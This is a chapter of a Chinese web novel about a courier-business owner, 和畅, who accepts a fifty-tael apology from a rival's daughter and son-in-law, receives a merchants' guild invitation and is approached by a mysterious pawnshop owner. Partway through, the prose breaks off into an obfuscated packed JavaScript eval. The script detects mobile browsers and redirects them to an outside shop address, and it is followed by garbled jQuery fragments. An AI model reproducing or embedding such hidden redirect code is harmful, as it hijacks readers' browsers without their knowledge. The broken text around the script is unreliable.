文趣网 > 其他小说 > 土匪有个快递站 > 66. 第 66 章
    “找我什么事?”和畅打量着面前两人,沈见山上次在州府学见过,旁边这个女子倒是面生。不过和畅再多看几眼,便发现女子的脸型轮廓和范东家如出一辙。而沈见山又是范东家女婿,这位女子就不用多说了。

    “这位是范娘子吧?久仰。可是荟萃楼的菜有什么问题?”和畅挡在门口,田好好一脸警惕地看着他们俩。

    但这两夫妻没注意到她,范娘子率先开口,笑容大方,亲热地拉住和畅,好像两人是闺中密友:“和掌柜说笑了,掌柜手下一向是顶顶靠谱的,我们正是来道谢呢。”

    范娘子往和畅身后瞥了几眼:“不知可方便进去聊?”

    街上人来人往,和畅不愿意在店门口起争执,只得把人领进门。

    进去时,范娘子和沈见山都看着一面墙大小,满满当当的柜子愣了一下,两人旋即交换了一个眼神。

    田好好注意到,在旁边解释:“这都是散客要送的东西,只要当天有大宗货物要运,都会顺路捎带点零碎东西。客人方便,我们也多少能赚点。”

    夫妻俩都是经手过家里的生意的,噼里啪啦就在心里打算盘,最后算出来一个共识:今天这趟来对了。

    进了里间,宾客就坐,一番寒暄。范娘子终于进入了正题,让沈见山打开了三层食盒。

    食盒里面没有点心,只有一层一层码放着的白银。

    上次范东家给他们塞订单,转头就恨不能把他们家底都坑出来。这次手笔比上次还大,和畅饶有兴味:“这是什么意思?”

    范娘子甜笑道:“之前实在是对不住和掌柜。家父年纪大了,有些糊涂。见山又科考在即,他一时情急,就做了这许多错事,的确不应当。我们今日来,便是向掌柜赔礼道歉。”

    她将食盒推到桌子正中央,语气十分抱歉:“这是五十两白银,是我和见山的赔罪。过去的事已然发生,无法弥补。只能尽量用这俗物弥补,还望和掌柜莫要嫌弃。”

    和畅看向吉娘子,吉娘子看着银子,微微点了点头。

    云通物流一个月净利润是十到十五两,受潘行头影响,有三天不能正常营业,直接损失1.5两。这几天因为延误时间和货品损毁,赔付了6两。后续半个月订单量都只能维持在正常情况的一半,这里损失了5-7两。按最高7两算,范东家指使潘行头这么一闹,损失14.5两。

    但范娘子二人直接赔付了50两,相当于云通物流至少三个月的净利润,倒确实是大手笔。

    这个数字远超和畅预估,她没有什么不满意的。她之前以为,乐观情况下,也是去跟官府报案,拉扯几个月,最后得到一笔堪堪弥补损失的金额。毕竟古往今来,要维权都是一件麻烦事。

    但和畅有另一件事要确认:“这也是范东家的意思?”

    范娘子表情有一瞬不自然,沈见山替她回道:“自然,岳父年事已高,又突感风寒,不便走动,便由我们夫妻二人代为致歉。”

    “范东家生病了?”和畅假装惊讶:“我作为晚辈,理当上门探望。”

    “不用麻烦不用麻烦。”范娘子立刻阻止:“家父病得严重,不便见外人,也怕过给和掌柜病气。掌柜的好意,我替父亲心领。”

    “是啊和掌柜,您昨夜帮助官府捉得,想必疲乏得厉害,怎能劳动您挂心呢?”沈见山也帮着说话。

    这夫妻俩都不让她和范东家沟通,和畅直觉不对,想了想,干脆开门见山:“你们来找我赔礼,范东家真的知情且同意吗?”

    两人似乎没想到和畅这么直白,一时之间都没有回答,而是和对方交换眼神。

    和畅就看着他俩眉来眼去,支支吾吾,还不敢面对自己。

    三分钟后,两人终于心理斗争结束,范娘子半低着头:“家父风寒,我们不便打扰,只能先行道歉。”

    “就是说范东家不知道这件事。”和畅直接挑明。

    两人没说话,权当是默认。

    “那你们怎么保证,范东家不会再来找我麻烦?总不能每次都拿五十两银子赔罪,这对你们也是损耗。”和畅真诚道,比起拿一笔赔款了事,她更在乎长久地经营。左右大家都在文州,又有合作关系,抬头不见低头见,没办法独善其身。

    “和掌柜,这件事我可以保证。今年秋闱我会弃考,岳父便没有理由再为难您。”沈见山神色平静,但往和畅这边丢了颗惊雷。

    和畅不愿意因为这点小事影响沈学子的前途,她劝阻道:“沈学子,科举事大,不能儿戏。其他的事,我们再商量。”

    范娘子却攥着衣袖吐了几个字:“宁大人那边……”

    这是担心宁潜报复?和畅想起岳峙被欺凌的事确有范氏的手笔,但她基于对宁潜的了解,还是真诚说:“不必担忧,宁大人贵人事忙,不会纠结这种小事。”

    这话并没有让范娘子宽心,她忽然起身,向和畅行礼恳求:“不知可否请掌柜为我们引见宁大人?”

    沈见山却直接把她扶起来,重新拉回座位,缓缓道:“我自知学问不精,弗如岳峙远矣。今岁下场也难中,不若请府学夫子推荐,去章州再修习积累。”

    范娘子唤他:“夫君,我们今年先去试试嘛,权当是熟悉考试。”

    和畅也劝:“就当是练习了,考过一次,明年也会更有把握。”

    但沈见山摇头说:“我意已决,明年秋闱再试。”

    和畅又跟范娘子好言说了几句,然而沈见山下定了决心,她劝不动也没有立场劝,到最后,反而只能宽慰范娘子。

    沈见山向她作揖:“烦请和掌柜务必收下赔礼,不然沈某愧疚难安。”

    范娘子眼中已有泪花:“都是为了我夫君的科考才闹出这档子事,我父亲平日里并非仗势欺人之徒,我代父亲向掌柜道歉,请掌柜受我一拜。”

    和畅赶紧打住:“行,你们的歉意和赔礼我都可以收,我就说一样,日后两家井水不犯河水。”

    沈见山扯起嘴角,笑容有些失落:“岳父本是因为我才出此下策,我今年若不科举,岳父也没有与掌柜交恶的理由。掌柜大可放心。”

    和畅明白了,但既然说到科举,她就少不得为岳峙多问一句:“你可有向岳学子道歉?”

    沈学子愣住,范娘子马上明白了:“多谢掌柜提醒,我们等会就去找岳学子。”她在沈见山的胳臂上狠掐一下,沈见山下意识含糊应了。

    范娘子不欲多说,拉着沈见山就要走。沈见山快被拉出去时,又突然想起另一件事,赶紧止住妻子,拿出了一封请帖。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961636|207087||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    和畅接过来一看,是文州商会发来的,开会时间就在三天后。和畅疑心是那天高刺史搞的鬼,便问道:“马行头范东家也会去吗?”

    既然都问到头上了,范娘子也不隐瞒,如实道:“他们会来,这次商会主要就是受刺史大人要求,讨论码头脚夫力工的分配问题。”

    果不其然就是这件事,和畅有些不爽,城内区域帮派都是约定俗成的,民间共同承认即可,但如果摆到商会明面上,那少不得有其他人要分一杯羹。

    范娘子见和畅皱眉,赶紧表忠心:“您放心,这次是我代表家父参会,我一定支持和掌柜。”

    沈见山也补充道:“马行头平日讲义气,会长刘东家又受您救命之恩,不过是走个流程,不会为难,您也不必太过介怀。”

    和畅还是有些不放心,便问:“能否请你们将商会名单给我抄送一份,我也心里有数。”

    两人满口答应,接下来就是范娘子念,沈见山写。不多时,一份名单就给到了和畅手上。和畅一眼望去,都是些熟悉的商户,一半以上都有合作。个别几个没打过交道,但也没仇怨。唯一需要小心的,就是另外几个同样领着脚夫力工的行头。

    送走这两夫妻,吉娘子已经拿着小秤开始验银子。和畅重新进来,她也刚好量完:“正正好好五十两,都是崭新的官银,还算有诚意。”

    和畅点了点头,将这银子收起来,拿出了账本,看着上面的红黑字样,她心里慢慢有了主意。

    但在此之前,最重要的先把田好好扭送回官府。田好好自然不愿意,恨不能嚎哭打滚哀求。但和畅的意思也很明确,犯了原则性错误就得接受相应的处罚。现在在云通物流本就相当于劳改,不愿意就只能按该怎么办就怎么办。

    真正去到官府,却让负责这事的衙役犯了难。不收吧,和畅说的也很有道理。收了吧,没办法向上官交代。

    最后一层层推脱,就上报到了宁潜耳朵里。

    宁潜略一思忖,吩咐道:“把她留下,我拿她有用。”

    指令再一层层转告到和畅面前,她和田好好都松了一口气。田好好还没来得及主动说什么,和畅直接抬手:“后会有期。”

    田好好愣住,忽然眼泪又上来了:“后会有期。”

    和畅点点头,走出几步,忽然又转过身:“我会帮你留意你孩子的事。有消息我随时差人告诉你。”

    田好好努力憋住眼泪:“嗯!”

    目送着和畅越走越远,田好好后知后觉,虽然她们确实没有深厚的感情,但这样就告别,是不是太草率了?她想叫住和畅,至少仪式感地说些道别的话,但又不知道该说什么。就在犹豫的过程中,和畅的背影已经消失了。

    和畅一向秉持见面要慢,道别要快的原则。她是这么想的,也是这么做的。

    但有人不是。

    月上梢头,和畅看见面前奇怪的年轻公子:“请问你是……?”

    对方自我介绍:“我姓文,在通平街有一家当铺,也是文州商会的。”

    和畅不明所以地打了个招呼,疑惑道:“文东家有什么事吗?”

    文公子的笑看着阴沉:“我想跟和掌柜换个消息。不知令尊令堂的消息,换古水道和水匪的消息可够?”